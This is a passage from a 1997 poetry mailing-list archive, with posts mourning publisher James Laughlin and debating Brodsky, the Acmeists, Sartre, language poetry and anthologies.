thanks for the news marjorie; an era is in transformation; what will happen now?

↑ Index

261. Douglas Barbour
Re: thought for the day
Thu 13 Nov 1997

Henry Gould suggests of Brodky: " It happens on a field of free equality; that's it. He's not saying "good art can be evaluated democratically" (by a process of compromise & consensus?), or "good art must be popular". He's saying art expresses human experience, rather than enlightening it or reforming it or refining it "from above". In this he is going back to Mandelstam, and Akhmatova, as he does constantly in essay after essay. He is one of the Petersburg poets, a close stream. & one of the standards of their Acmeism (as against Symbolism) is that the artist is like everybody else."

It's the end of this that I agree with. The necessary recognition, contra Romanticism, that the artist is not superior *as a human being* but only in so far as s/he is able to create within an art. The artist is not a better person, just capable of _art_iculating the humanity, etc. s/he shares with everyone.

Makes sense to me.

Sometimes, of course, the complexity of that articulation (in music, painting, poetry, whatever) takes the art beyond what a great many people want to bother learning to comprehend. I guess them's the breaks...

==========
==========
Douglas Barbour
Department of English
University of Alberta
Edmonton Alberta T6G 2E5
[redacted] FAX:[redacted]
H: [redacted]
~~~
~~~

i am not, a tongue to lick alight the dark your images project,
eyes looking out of darkness in that head...

Daphne Marlatt

↑ Index

262. **Tosh**
Re: James Laughlin
Thu 13 Nov 1997

As I am starting up my own press, I really look up to him. He will be missed, and for sure, remembered for his vision.

Tosh Berman
TamTam Books

↑ Index

263. **Layne Russell**
Re: James Laughlin
Thu 13 Nov 1997

Michael Coffey wrote:

> *here is small obituary running in pubishers weekly of james laughlin. surely, more expansive notices will be running in newspapers tomorrow:*
>
> *Obituary James Laughlin, founder of New Directions, author, poet and a literary visionary who published the bulk of this century's most distinguished experimental writers, died at his home in Norfolk, Ct. of complications from a stroke Nov. 12. He was 83. [snip]*

thank you Michael for finding and posting this. I posted this to the Socopoet list...didn't think you would mind.

Layne

↑ Index

264. **Aviva Vogel**
Re: thought for the day
Thu 13 Nov 1997

In a message dated 97-11-13 10:58:14 EST, you write:

This is well put. Clear. I like it. Thanks, Aviva.

<< The necessary recognition, contra Romanticism, that the artist is not superior *as a human being* but only in so far as s/he is able to create within an art. The artist is not a better person, just capable of _art_iculating the humanity, etc. s/he shares with everyone.

Makes sense to me.

Sometimes, of course, the complexity of that articulation (in music, painting, poetry, whatever) takes the art beyond what a great many people want to bother learning to comprehend. I guess them's the breaks... >>

↑ Index

265. **Joseph Zitt**
Re: James Laughlin
Thu 13 Nov 1997

Could someone fill in those of us who didn't know of him as to who he was and what he did? He does seem to have had quite an impact on those listers who have posted.

↑ Index

266. **William Burmeister Prod**
Re: Acmeists
Thu 13 Nov 1997

On Nov 13, 8:00am, henry g wrote:
> Subject: Re: Acmeists
> On Wed, 12 Nov 1997 14:15:12 -0800 Aldon Nielsen said:
>You raise some issues that have been around awhile(!) & can't be wished
>away. But I think you're melding together "democracy - masses - public
>opinion", and assuming too much in the process. Again, I think Brodsky
>was connecting the process of democracy -

> *The poet is just like everybody else, only more so*
>
> *A true Acmeist position. I should have qualified previous post by noting that the Acmeist polemic with the Symbolists, in which Gumilov, Mandelstam & others took the approach that the artist was not an exalted priestly personage but an ordinary earthbound creature, was tempered on both sides of the debate by the Petersburgian hauteur, the respect for cultural tradition, the aristocracy of the intelligentsia... a very different animal from what we understand to be "populism". - Henry G.*
> *-- End of excerpt from henry g*

> *Yes - this is part of what the Acmeist "program" involved. But it's sloppy of me to keep calling Brodsky an "acmeist", a tenuous "movement" back at the turn of the other century. He may have found a closer model for the style he was after in Auden: the anti-heroic, the everyday human-humane. - Henry G.*

Yes. It is more desirable to consider Brodsky the exile here in the Etat Unis and his declarations in the context of this end-of-century rather than the last.

I don't know what is meant by the "melding together of democracy - masses - public opinion," other than perhaps an attempt on my part to discuss openly some thoughts that I had after the reading of the Brodsky quote (and in a broader, yet proper context - no assumptions necessary). It is easy to speak of ideas which are heretofore fleshless.

Some quotes from Jean-Paul Sartre do a much better job than I at saying what needs to be said:

"There is classicism when a society has taken on a relatively stable form and when it has been permeated with the myth of its perenniality, that is, when it confounds the present with the eternal and historicity with traditionalism, when the hierarchy of classes is such that the virtual public never exceeds the real public and when each reader is for the writer a qualified critic and a censor, when the power of the religious and political ideology is so strong and the interdictions so rigorous that in no case is there any question of discovering new countries of the mind, but only of putting into shape the commonplaces adopted by the elite in such a way that reading -- which, as we have seen, is the concrete relation between the writer and his public -- is a ceremony of recognition analogous to the bow of salutation, that is, the ceremonious affirmation that author and reader are of the same world and have the same opinions about everything."

"The political triumph of the bourgeoisie which writers had so eagerly desired convulsed their condition from top to bottom and put the very essence of literature into question...There is no doubt that by identifying the cause of belles-lettres with that of political democracy they helped the bourgeoisie come to power, but by the same token they ran the risk of seeing the disappearance of the object of their demands, that is, the constant and almost the only subject of their writing."

"Bourgeois art would either be a means or would not be...Its public feared nothing so much as talent, that gay and menacing madness which uncovers the disturbing roots of things by unforseeable words and which, by repeated appeals to freedom, stirs the still more disturbing roots of men. Facility sold better; it was talent in leash, turned against itself, the art of reassuring readers by harmonious and expected discourse, in a tone of good fellowship, that man and the

world were quite ordinary, transparent, without surprises, without threats, and without interest."

William Burmeister

↑ Index

267. William Burmeister Prod
Re: James Laughlin
Thu 13 Nov 1997

On Nov 13, 8:46am, Maria Damon wrote:
> Subject: Re: James Laughlin
> At 9:36 PM -0800 11/12/97, Marjorie Perloff wrote:
> >One of the great literary men/women of our time died today: James
> >Laughlin. Many on this list whose work he published and who cherished his
> >own poetry, memoirs, and essays, this is a sad, sad, day.
> >
> >I'm in Indiana doing a residency (Patten Lectures) and can't write at
> >normal speed, but I'm sure there will be more material coming in from
> >Eliot Weinberger or Jerome Rothenberg etc. etc. I just wanted people to
> >know.
> >
> >Marjorie Perloff
>
> thanks for the news marjorie; an era is in transformation; what will happen
> now?
>-- End of excerpt from Maria Damon

James Laughlin has been a champion of literature in this century against the publishing juggernauts, and will most certainly be missed. His extremely sensitive portrayal of the late years of William Carlos Williams is indicative of his humanity, his generosity of which enough cannot be said.

Sadly,

William J. Burmeister

↑ Index

268. David R. Israel
JPSartre's classics
Thu 13 Nov 1997

[was, Re: Acmeists]

from William Burmeister --

> *Some quotes from Jean-Paul Sartre do a much better job than I at saying what needs to be said:*
>
> *"There is classicism when a society has taken on a relatively stable form and when it has been permeated with the myth of its perenniality, that is, when it confounds the present with the eternal and historicity with traditionalism . . . >>*

ah, the demimonde position (the establishing gesture of an anti-establishment establishment), so classically [mot juste] expressed . . .

d.i.

↑ Index

269. **Keith Tuma**
Re: James Laughlin
Thu 13 Nov 1997

On Thu, 13 Nov 1997 10:16:31 -0600 Joseph Zitt said:
>Could someone fill in those of us who didn't know of him as to who he was
>and what he did? He does seem to have had quite an impact on those
>listers who have posted.

New Directions--for starters.

↑ Index

270. **henry**
Re: Acmeists
Thu 13 Nov 1997

On Thu, 13 Nov 1997 11:29:40 -0500 William Burmeister Prod said:
>On Nov 13, 8:00am, henry g wrote:
>> Subject: Re: Acmeists
>> On Wed, 12 Nov 1997 14:15:12 -0800 Aldon Nielsen said:
>>You raise some issues that have been around awhile(!) & can't be wished
>>away. But I think you're melding together "democracy - masses - public
>>opinion", and assuming too much in the process. Again, I think Brodsky
>>was connecting the process of democracy -
>
>
>I don't know what is meant by the "melding together of democracy - masses -
>public opinion," other than perhaps an attempt on my part to discuss openly
>some thoughts that I had after the reading of the Brodsky quote (and in a
>broader, yet proper context - no assumptions necessary). It is easy to speak of
>ideas which are heretofore fleshless.

I should have written more clearly when I accused WB of assumptions. The assumptions I was referring to involved the idea that when Brodsky connected "good art" and "democracy" he was historicizing or commenting on the relations between elite, aristocrat, or bourgois interests & the mass public. And I tried to relate the function of art & the function of democracy (self-governance) on an abstract level, which I think is what Brodsky was doing. I have no problem with WB or anyone else commenting on the realities of art, politics & the public with the advent of "bourgois democracy". The fact that the bourgois doesn't appreciate fine art or the fact that the aristocrat concieves literature as part of a fixed ritual of social hierarchy, however, undermines neither art nor democracy, despite whatever complaints both Baudelaire & Sartre may raise. - Henry Gould

↑ Index

271. Pritchett,Pat
Re: James Laughlin
Thu 13 Nov 1997

James Laughlin was heir to an immense Pennsylvania steel fortune. He was also a poet and lover of literature. It's fair to say he did as much for American poetry in this century as anyone - publishing, and keeping in print, Pound, Williams, HD, Henry Miller, Kenneth Patchen - the list goes on forever.

The story goes, as Laughlin himself relates in his marvelous _Pound As Wuz_, that he went to sit at the feet of the master in Rapallo in the late 30's. Pound, however, advised him to give up poetry and start a publishing company that would print Pound and Pound's pals. The rest is history, as they say. And fortunately, Laughlin disregarded Pound's advice about poetry. He kept at it, producing several books of spare, lyrically direct poems that were delicate without being precious. His death is indeed a great loss. American poetry owes him a debt which can only be repaid by keeping faith with his committment to making it new.

Patrick Pritchett

From: Keith Tuma
To: POETICS
Subject: Re: James Laughlin
Date: Thursday, November 13, 1997 1:08PM

On Thu, 13 Nov 1997 10:16:31 -0600 Joseph Zitt said:
>Could someone fill in those of us who didn't know of him as to who he was
>and what he did? He does seem to have had quite an impact on those
>listers who have posted.

New Directions--for starters.

↑ Index

272. **p. durgin**
Re: James Laughlin
Thu 13 Nov 1997

Joseph, Not only publishing New Directions, James Laughlin is an important American lyric poet. His "Collected Poems" is about the last word in economy, as far as romance goes.

|||[redacted]|||

_____

On Thu, 13 Nov 1997, Joseph Zitt wrote:

> *Could someone fill in those of us who didn't know of him as to who he was and what he did? He does seem to have had quite an impact on those listers who have posted.*

↑ Index

273. **Carl Lynden Peters**
Re: visual poetry on the internet
Thu 13 Nov 1997

---

perhaps i cld make mention of the _wr-eye-tings_ scratchpad. i don't have the address for you, but i will post ASAP for the list -- unless, luigi -- you have it on hand (?)

there are some amazing things happening on that scratchpad, a kind of temporal visual poetry gallery and workshop, to paraphrase luigi.

on the scratchpad, pomes move, jump around, make noices make voices!

all best, and happy seeing reading !

carl

> *For a workshop in visual poetry: I'm looking for good examples of visual poetry on the internet. I'm already familiar with the amazing ubuweb site. Please send URL's of other favorites. Thanks,*
>
> *Jena Osman*
> [redacted]

↑ Index

274. henry gould
a little JB for today
Thu 13 Nov 1997

Poetry is stronger than the subtle fussing of french litterateurs.

"I schyegol razlivatsia v tsyentre provalochnoii Ravenni."

[And the goldfinch burst into song in the center of its wire Ravenna.]

- J. Brodksy

↑ Index

275. William Burmeister Prod
Re: James Laughlin
Thu 13 Nov 1997

On Nov 13, 10:16am, Joseph Zitt wrote:
> Subject: Re: James Laughlin
> Could someone fill in those of us who didn't know of him as to who he was
> and what he did? He does seem to have had quite an impact on those
> listers who have posted.
>-- End of excerpt from Joseph Zitt

I honestly can't say if I would be in poetry right now if not for James Laughlin and New Directions Books. I like the story Octavio Paz has in _The Other Voice_ about him, and would like to share it.

"The case of American Publishing house New Directions is a notable example. James Laughlin, the son of a well-to-do family, studied at HArvard some fifty years ago. A poetry lover despite his disappointment at the professors he had, he decided to spend some time in Rapallo, where Ezra Pound was the focal point of a small group devoted to the study of poetry--the "Ezraversity," as Pound himself called his circle. After six months of sharing their experiences, Pound and Laughlin made a pact: Laughlin would become a publisher and devote himself to bringing out books by Pound, William Carlos Williams, and other poets of that time. Thus New Directions came into being. It is a house that has lasted more than half a century and accomplished two equally difficult things: refusing to become a gigantic multinational corporation, while publishing not only many valuable North American poets but also the corpus of modern European and Latin Literature.

In his recent volume of delightful and intelligent prose (Recollections of a publisher, 1989), Laughlin notes that Pound recommended what books he should publish but gave no advice about how to sell them. He adds: "perhaps he didn't know or didn't care. I can't remember his exact phrase but he seemed quite

content if something he had written and given to some obscure magazine reached the eyes and beans of twenty-seven readers, if they were the righr readers, the ones who would diffuse his ideas." Laughlin had the good sense not to follow all of Pound's advice: he did not publish, for instance, the eccentric economic theories of Major Clifford Hugh Douglas. But he quickly understood that the new literature, unanimously scorned by university professors and well-entrenched critics, could win a small but fervent public. It was an undertaking that went against current tastes and deliberately appealed to a minority. In a letter, Pound wrote to his young friend: "For Christs sake meditate on something I once told you: Nothing written for pay is worth anything; only what has been written against the market. There is nothing so inebriating as earning money. Big check and you think you have done something and two years later there is nothing bloody well to show for it." These lines were written in 1940. Nine years later, Pound renewed the charge: "The death of all the old staid American publishing houses would be a sign of God's favor to humanity. There are no known acts on the part of these firms that ever favored living writers or literature."

William J. Burmeister

↑ Index

276. William Burmeister Prod

Re: JPSartre's classics

Thu 13 Nov 1997

On Nov 13, 1:06pm, David R. Israel wrote:
> Subject: JPSartre's classics
> [was, Re: Acmeists]
>
> from William Burmeister --
>
> > Some quotes from Jean-Paul Sartre do a much better job than I at
> > saying what needs to be said:
> >
> > "There is classicism when a society has taken on a relatively stable
> > form and when it has been permeated with the myth of its
> > perenniality, that is, when it confounds the present with the
> > eternal and historicity with traditionalism . . . >>
>
> ah, the demimonde position (the establishing gesture of an
> anti-establishment establishment), so classically [mot juste]
> expressed . . .
>

> d.i.
>-- End of excerpt from David R. Israel

ah, the everything eventually becomes gesture gesture. I suppose his writing is classic now: God knows how old it is.

Wilhelm

↑ Index

277. **groberts**
Re: Laughlin
Thu 13 Nov 1997

"Catullus is my master" begins the poem "Technical Notes" placed in the opening section of Laughlin's Collected Poems. For me, Laughlin is a rare master of that daily ceremony in which our vulgarity is wedded to the austerity of hope. Laughlin would probably want to be remembered as a love poet, which is an honorable simplification, but a simplification nonetheless. He also wrote much about other aspirations, and the facts which check them. And in all manner of lines: short, long, American, French, careful, carefree. And his line-breaks across words is a lasting example of deft construction, in his hands a blatant affirmation of craft that is neither precious nor crass. As in these poems about death:

"Write on My Tomb"

that all I learned in books
and from the muses I've ta-

ken with me but my rich pos-
sessions I have left behind

***

"I Have Heard"

the misuse of the word hope-
fully spread through the lin-

guistic landscape with the
steady relentless thrust of

lava from a volcano on here
one there at first but now

everywhere even senators &
professors hopefully post

mortem meam I'll not end up
in a hell where undoubtfully

everyone will be saying it.

***

Through the black and the white may the brown and the green and the pink always break.

Gary R.

↑ Index

278. William Burmeister Prod
Re: Acmeists
Thu 13 Nov 1997

> *I should have written more clearly when I accused WB of assumptions. The assumptions I was referring to involved the idea that when Brodsky connected "good art" and "democracy" he was historicizing or commenting on the relations between elite, aristocrat, or bourgois interests & the mass public. And I tried to relate the function of art & the function of democracy (self-governance) on an abstract level, which I think is what Brodsky was doing. I have no problem with WB or anyone else commenting on the realities of art, politics & the public with the advent of "bourgois democracy". The fact that the bourgois doesn't appreciate fine art or the fact that the aristocrat concieves literature as part of a fixed ritual of social hierarchy, however, undermines neither art nor democracy, despite whatever complaints both Baudelaire & Sartre may raise. - Henry Gould*
> *-- End of excerpt from henry*

Fair enough Henry and well taken. And so fare thee well, thou never shall hear from herald again.

- Master William Sheakespearemeister

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279. Michael Coffey
Re: James Laughlin -Reply
Thu 13 Nov 1997

>>> William Burmeister Prod <[redacted]>
11/13/97 02:19pm >>>
On Nov 13, 10:16am, Joseph Zitt wrote:
> Subject: Re: James Laughlin
> Could someone fill in those of us who didn't know of him as to who he
was

> and what he did? He does seem to have had quite an impact on those
> listers who have posted.
>-- End of excerpt from Joseph Zitt

here is small obituary running in pubishers weekly of james laughlin. surely, more expansive notices will be running in newspapers tomorrow:

ObituaryJames Laughlin, founder of New Directions, author, poet and a literary visionary who published the bulk of this century's most distinguished experimental writers, died at his home in Norfolk, Ct. of complications from a stroke Nov. 12. He was 83.By the time Laughlin graduated from Harvard University in 1939, he had already begun publishing the first of his New Directions anthologies in 1936 introducing the early work of such writers as William Saroyan, Delmore Schwartz, Celine, James Agee, Bertolt Brecht and Denise levertov and many others. By the age of 18 he had published his own short stories and poetry in the Atlantic Monthly. Not long after the New Direction anthology series was launched Laughlin began publishing novels, plays and poetry collections by authors of similar stature. The poetry of Tennessee Williams and Karl Shapiro first appeared in these volumes and later the poems of William Carlos Williams and Ezra Pound. During the late 1930s and 1940s Laughlin published unprecendented translations of older, influential European writers and is credited with reviving interest in E.M. Forster and Kafka. The list goes on: He published Henry Miller's idiosyncratic essays and travel books and was the first to print James Joyce's Stephen Hero; brought Gertrude Stein; Nathanael West and Herman Hesse back into print; and published Vladimir's Nabokov's second novel, The Real Life of Sebastian Knight in 1941. None of this has gone unnoticed and Laughlin's vision has been well honored. Besides numeous honory degrees he has received commendations by PEN, the American Academy of Arts and letters , The Carey Thomas Award, The French Jean Malrieu prize for poetry in translation, The Robert Frost Medal, the Curtis Benjamin Award for Creative Publishing and many, many other honors. Laughlin has published numerous volumes of his own poetry, essays and stories and New Directions will publish The Love Poems this fall and he has three forthcoming books due from Zoland Books, Aperture and Turkey press. W.W. Norton will also publish a series of scholarly volumes of his correspondence with various New Directions authors.

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280. David R. Israel
Re: Soko Loco
Thu 13 Nov 1997

Daniel Zimmerman wrote,

> *For the past few months, I've worked on a series of poems based on four-fold word squares run through an anagram generator which produces c. 500K of lines employing the 16 letters in words. I sift through them, identify the most likely, & let them mull about until they find an order I also recognize. For example [I hope this comes through the email intact!]:*
>
> *WORD*
> *ALOE*
> *RISE*
> *POEM*
>
> *I wore a prose model*
> *or a sole weird poem,*
> *a woe period morsel.*
> *I seldom wore a rope.*
> *I led a morose power,*
> *a wide remorse loop,*
> *or I rose, a lewd poem,*
> *a poem idle or worse.*
> *we lose a prior dome,*
> *a slow ode or empire;*
> *we despoil a Rome, or*
> *deplore a wise room.*
> *more power is a dole.*
> *desire me, a poor owl.*

yep, it came thru fine -- (& proves more interesting in the instance than I might've expected lacking the exempli).

Thinking of Terry Riley's composition *In C*, I find myself wondering about computer-generated textual-composition possibilities of adding letters incrementally -- (i.e., rather than always 16, if it were to ascend -- e.g., from 4 to 6 to 8 etc.) -- a cumulative procedure of growing complexity --

so you get circa 500,000 sentences (or lines) out of every run of four 4-letter words, hmm --

have you ever started with words that themselves comprise a "found phrase" of some sort? -- it would then seem a scramble from the immediate-observed to every possible recombination of same --

these but passing thoughts, occasioned by novel procedure of a sort I'd not considered --

look forward to seeing some more, whenever --

d.i.

↑ Index

281. **r.drake**
Re: visual poetry on the internet
Thu 13 Nov 1997

> *perhaps i cld make mention of the _wr-eye-tings_ scratchpad. i don't have the address for you, but i will post ASAP for the list -- unless, luigi -- you have it on hand (?)*

http://www.burningpress.org/wreyeting/

> *there are some amazing things happening on that scratchpad, a kind of temporal visual poetry gallery and workshop...*
>
> *For a workshop in visual poetry: I'm looking for good examples of visual poetry on the internet. I'm already familiar with the amazing ubuweb site. Please send URL's of other favorites. Thanks,*
>
> *Jena Osman*
> [redacted]

↑ Index

282. **Bob Grumman**
Re: visual poetry on the internet
Thu 13 Nov 1997

Karl Young's Light & Dust site is amazinger.

http://www.thing.net/~grist/l&d/lighthom.htm

And his links will get you to other excellent sites, like Luigi-Bob Drake's, whose URL I can't find.

--Bob G.

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283. **Harold Rhenisch**
Re: quote for the day
Thu 13 Nov 1997

William Burmeister wrote:

>My guess would be that people object to what they see as obscurity for its >own sake on the first order, or if they belong a different cultural group than >the artist that might be the first order objection. Some may receive

so-
>called obscure work for similar reasons.

My concern was that we have such a split between aesthetic culture (of varying kinds) and pop culture (of varying kinds) that the two are not speaking to each other and people react to that. Hence my second comment:

> Furthermore, the aesthetic that led
> to the so-called obscure text might be justifiable, but will not be read
> properly by people living in the strange land of secondary readings, where
> democracy does not mean democracy, and so forth.

to which William responded:

>This adds to the discussion I think, but what is meant by being read properly
>in the context of poetry vs say prose?

I was trying to work out the idea that if people were responding to the trace of a foreign aesthetic, or the way in which it manifested itself within the parameters of their receiving technology (or culture), very little communication is going to take place: what will be communicated will be only a series of traces, which seem to me to be terribly short-lived and unstable isotopes. Conservative poetry is a foreign aesthetic to most people. Obscure poetry or avante-garde poetry might as well be a line of binary code. It goes farther: even conservative poets, a sympathetic audience (I would hope), are going to have a hard time reading avante-garde poetry, because they will have to re-tool to do so. I think as readers we tend to set up a receiving matrix and then are able to read texts (within certain parameters) automatically. When we shift to a different type of text (from conservative poetry to lang-po, for instance, or from Disneyland sound-bites to T.S. Eliot) we will get messed up, because we will process the signal automatically, but we will be processing it incorrectly. It will be unreadable. A reader willing to do the work will correct this, by switching to manual processing, then building up a new and more sophisticated processing system, which can eventually process the material correctly. A reader unwilling to do the work will walk away. Interesting is the idea of an aesthetic willing to work with the traces themselves. Probably need a lead suit, though.

Best,

Harold Rhenisch
[redacted]

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284. James Finnegan
Re: Heath 3, help?!
Thu 13 Nov 1997

In a message dated 97-11-13 00:28:45 EST, you write:

> *While the Heath anthologists may not have been persuaded that the "Language Poets" _would_ be taught by most "users" of the anthology, they just _gauranteed_ that they would not be taught by excluding them.*

I'm not certain it's all so dire. The Heath is direct competitor of the venerable Norton anthology, is it not? The Norton (4th Ed) has Michael Palmer (not really a Language poet) and Edward Kamau Braithwaite (who broadens the political & multi-cultural look of the Norton contents page). But little else in the Norton could be classified as language, alternative, EXP, neoBeat, postmod, etc.

Fortunately there are other anthologies that a widely-read teacher could press into service side-by-side or as alternative to the Health/Norton "evil empire." Like Sun & Moon's Other Side of the Century, or Potes & Poets' Art of Practice, and Norton's other anthology Post Modern Am. Poetry edited by Paul Hoover.

I applaud Hank Lazer for trying to bring down the leather-bound walls of the Heath, but success would mean assimilation and thus brings with it other problems: Namely the names. Who would get in and who wouldn't? Silliman, Hejinian, Bernstein, Armantrout, Watten, Scalapino, Andrews, et al. And since Language (however it is defined & explained) continues to be a dynamic force, a wave that hasn't yet crashed and dissipated upon the beach of literary history, would not such recognition by the Heath in some way break the movement's natural course?

Finnegan

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285. David Kellogg
watten barrage
Thu 13 Nov 1997

I want to continue the (aborted) conversation on Watten's ILS lecture, "The Bride of the Assembly Line," which I think is one of the most important recent interventions in the debate about social possibilities of innovative writing. If Watten is right that "the avant-garde tradition of the material text -- from

Gertrude Stein and Luis Zukofsky to Clark Coolidge and Lee Ann Brown -- has been misread in a way that is impoverished in terms of both language and culture" (p. 3), then a lot of commentary on language poetry and other types of innovative interventions need to be rethought.

The nub of Watten's argument is a critique of unspecified "possibility":

"It is, thus, claims for the possibility of form rather than the specificity of form; or the possibility of language rather than a specific use of langauge; or the possibility of critique instead of a specific politics; or the possibility of difference rather tahn a specific difference, that characterizes the current aporia of our collectively dialogic, site-specific and time-valued, manifold poetics." (p.4)

It's obvious, I think, what is being talked about here. I am reminded of critical moments such as Andrew Ross's essay "The New Sentence and Commodity Form" in Nelson and Grossman's _Marxism and the Interpretation of Culture_. Somewhere in that essay (I may have the title wrong, as my copy is at home), Ross quotes a poem (his examples are almost arbitrary) and says something like (from memory now) "Finally, we get the sense that a fair deal has been struck; the labor of reading is equal to the labor of writing." This kind of claim fits well into one of the things Watten is critiquing, namely "a defunct politics satisfied to claim that the reader is 'empowered' to make meaning from material texts" (p. 3) The thing is, Ross's is a pretty sophisticated argument, with a range of reference that runs back in Marxism at least to Gramsci and in poetry to the Objectivist attention to texts as "intellectual labor." Watten and Ross share a lot of allegiances as well, and are allied in the Watten issue of _Aerial_. Still, Watten seems to be aiming at some things that are present both in the Ross essay and by extension, all over the place, especially in some academic treatments of language writing such as Linda Renfield's, and and in the prose of our own Charles Bernstein.

I am especially sympathetic to Watten's critique of Bernstein's sometimes dismissive take on identity politics, which of course implicates lots of discussions that have taken place on this list: "In Bernstein's tendency toward a universalist, multinational politics of ideolectical writing, such a blindspot of collective nonidentity seems motivated in a regional politics of literary identity as much as it evidences a survival of the politics of modernist form" (Watten p. 10). There are other arguments and other wonders in Watten's essay too (the discussion of Coolidge is great, as is [from my limited knowledge] the whole riff on Stein and cars), but I thought I'd highlight these moments in the essay to maybe light a fire under the list.

Cheers,
David
~~~
~~~

David Kellogg Duke University
[redacted] Program in Writing and Rhetoric
[redacted] Durham, NC 27708
FAX [redacted] http://www.duke.edu/~kellogg/

There is no mantle
and it does not descend.

-- Thomas Kinsella

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286. **Catherine Daly**
Re: Acmeists, now ... Futurists?
Thu 13 Nov 1997

Poet: Artist: Intellectual ???

This is from an essay entitled "Surveillance and Spectacle in Fascist Ferrara" by Diane Yvonne Ghirardo in the book of essays, "The Education of the Architect: Historiography, Urbanism, and the Growth of Architectural Knowledge" edited by Martha Pollak. I was reading it when this thread started, and I think the thread has definitely come this way: social/political movements at the beginning of the century, the role of culture in, the role of art in....

"[Antonio] Gramsci proposed a somewhat confused distinction between what he referred to as organic intellectuals and traditional intellectuals, although they were always linked to class distinctions. The former, created by social groups in the world of economic production, have the double function of constructing homogenity and of developing awareness of the groups' social and political functions beyond the specific economic ones. Traditional intellectuals already exist in a given society, and represent historical continuity, while presenting themselves as autonomous of the dominant social group. Gramsci's important point is that both types of intellectual are defined by their activities _within_ the system of social and class relations. The traditional intellectual operates within historically formed categories which become more complex and elaborate in connection with the dominant socal group. In Gramsci's view, a new social group advancing toward dominance, such as Fascism, makes one of its chief aims the assimilation of traditional intellectuals, but also speeds up the process by producing its own organic intellectuals. In general, intellectuals serve as deputies with the function of allowing the dominant social group to maintain hegemony through the spontaneous consent of the masses. ... in the case of Fascist Italy most of the cultural activities helped sustain Fascism's power. ... "

I think that the strategies of the Russian Revolutionaries vis a vis artists and intellectuals can be usefully compared and contrasted with the strategies of Italian Fascists, and the experiences of artists as well as their actual work under both regimes usefully analysed as part of this discussion.

Ahkmatova reported she said, "Yes, I believe I can [describe this]."

Catherine Daly

[redacted]

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287. MAXINE CHERNOFF

Re: James Laughlin

Thu 13 Nov 1997

JamesLaughlion was the distinguised publisher of New Directions,which he started as young man from his family's fortune in steel. He went on to publish most of the great modernists (Pound, Williams, etc) and to champion progressive literature in general. I knew J fairly well in the 1980s (after he got stranded in a snowstorm and spent a weekend in Chicago with me, Paul Hoover, and a menagerie of our small children) and found him to be a very generous and witty man. The press itself was a real labor of love, as are all presses that start small. He himself would travel from town to town to sell books out of his car,and it wasn't until much later when Tennessee Williams and Herman Hesse became well-known that New Directions actually stabilized as a publishing house in terms of monetary success. But if he never made a dime, he would be remembered for championing writers before they were well-known, including WCW who was working in relative obscurity for many years. Those on the list or related to the list whom he published--Creeley, Rothenberg, McClure, Howe, Mayer, Hoover, Gander, Palmer, etc., and many poets through the small anthology "Language Poetries" can add far more. We saw the movie Gandhi with him and fed him his first bagel during that Chicago stay. We later stayed with him and his wife Anne, now also deceased,one summer in CT and enjoyed his wonderful library of ND Books and 1st editions. I'll miss him. --Maxine Chernoff On Thu, 13 Nov 1997, Joseph Zitt wrote:

> *Could someone fill in those of us who didn't know of him as to who he was and what he did? He does seem to have had quite an impact on those listers who have posted.*

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288. **Mary Burger**
Announcing Proliferation #4 issue & Contributors' Reading
Thu 13 Nov 1997

Proliferation #4 is now available, with work by Susan Gevirtz, Stephen Ratcliffe, Pamela Lu, Renee Gladman, Dan Bouchard, Beth Anderson, Joseph Torra, Tan Lin, Bill Lavender, Laura Moriarty, Leslie Scalapino, and more.

BAY AREA CONTRIBUTORS' READING:
Friday, Nov. 14, 7:30 p.m.
Modern Times Bookstore
Valencia St. & 20th St.
San Francisco

ISSUE available from:
* Modern Times Bookstore

* The Editors: (send check for $9.50 including postage, payable to M. Burger or C. Vitiello)
Mary Burger, 1253 Hampshire St., San Francisco CA 94110
or
Chris Vitiello, 2707 Farthing St., Durham NC 27704

*Small Press Distribution - coming soon!
[redacted]

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289. **David R. Israel**
Re: James Laughlin
Thu 13 Nov 1997

Patrick Pritchett writes --

> *The story goes, as Laughlin himself relates in his marvelous _Pound As Wuz_, that he went to sit at the feet of the master in Rapallo in the late 30's. Pound, however, advised him to give up poetry and start a publishing company that would print Pound and Pound's pals. The rest is history, as they say. . . .*

though I don't have the book, am pretty sure -- a small biblio note, this -- that the title is *Ez as Wuz* [meaning, Ezra as he the was, one supposes -- "Ez" evidently being the familial nickname].

> *. . . American poetry owes him a debt which can only be repaid by keeping faith with his committment to making it new.*

here here

btw, re: the Poundian dictum "make it new," seems the "it" in question is antiquity's language / content -- Pound seeking to promote an Ancient Future, so to say (as when he admonished young W.S. Merwin "study root language, don't study branch language" or words to that effect) . . . so that being steeped in the old, one can then make it new . . .

hat-tips to James Laughlin -- one of those sturdy, rugged, supportive presences on whom "so much depends" . . .

d.i.

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 .
 .....
 ............
 \\\\
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>langauge; or the possibility of critique instead of a specific politics; or
>the possibility of difference rather tahn a specific difference, that
>characterizes the current aporia of our collectively dialogic, site-specific
>and time-valued, manifold poetics." (p.4)
>

I've only skimmed Watten's essay, find it provocative, but want more time to think about it. For starters though I'm tempted to ask that these "specific" politics be named. One target here is Charles Bernstein's Emersonianism. When Barry read an early version of this paper in New Hampshire, as I recall, he spontaneously added something like "No, I am not George Lukacs." But I wonder.

> *It's obvious, I think, what is being talked about here. I am reminded of critical moments such as Andrew Ross's essay "The New Sentence and Commodity Form" in Nelson and Grossman's _Marxism and the Interpretation of Culture_. Somewhere in that essay (I may have the title wrong, as my copy is at home), Ross quotes a poem (his examples are almost arbitrary) and says something like (from memory now) "Finally, we get the sense that a fair deal has been struck; the labor of reading is equal to the labor of writing." This kind of claim fits well into one of the things Watten is critiquing, namely "a defunct politics satisfied to claim that the reader is 'empowered' to make meaning from material texts" (p. 3) The thing is, Ross's is a pretty sophisticated argument, with a range of reference that runs back in Marxism at least to Gramsci and in poetry to the Objectivist attention to texts as "intellectual labor." Watten and Ross share a lot of allegiances as well, and are allied in the Watten issue of _Aerial_. Still, Watten seems to be aiming at some things that are present both in the Ross essay and by extension, all over the place, especially in some academic treatments of language writing such as Linda Renfield's, and and in the prose of our own Charles Bernstein.*

The critique of a discourse of a specially empowered reader in materialist poetics has been offered before and for good reason, as for instance by J. H. Prynne. But this is a critique of critical frames and rationales more than of poetic practice.

> *I am especially sympathetic to Watten's critique of Bernstein's sometimes dismissive take on identity politics, which of course implicates lots of discussions that have taken place on this list: "In Bernstein's tendency toward a universalist, multinational politics of ideolectical writing, such a blindspot of collective nonidentity seems motivated in a regional politics of literary identity as much as it evidences a survival of the politics of modernist form" (Watten p. 10). There are other arguments and other wonders*

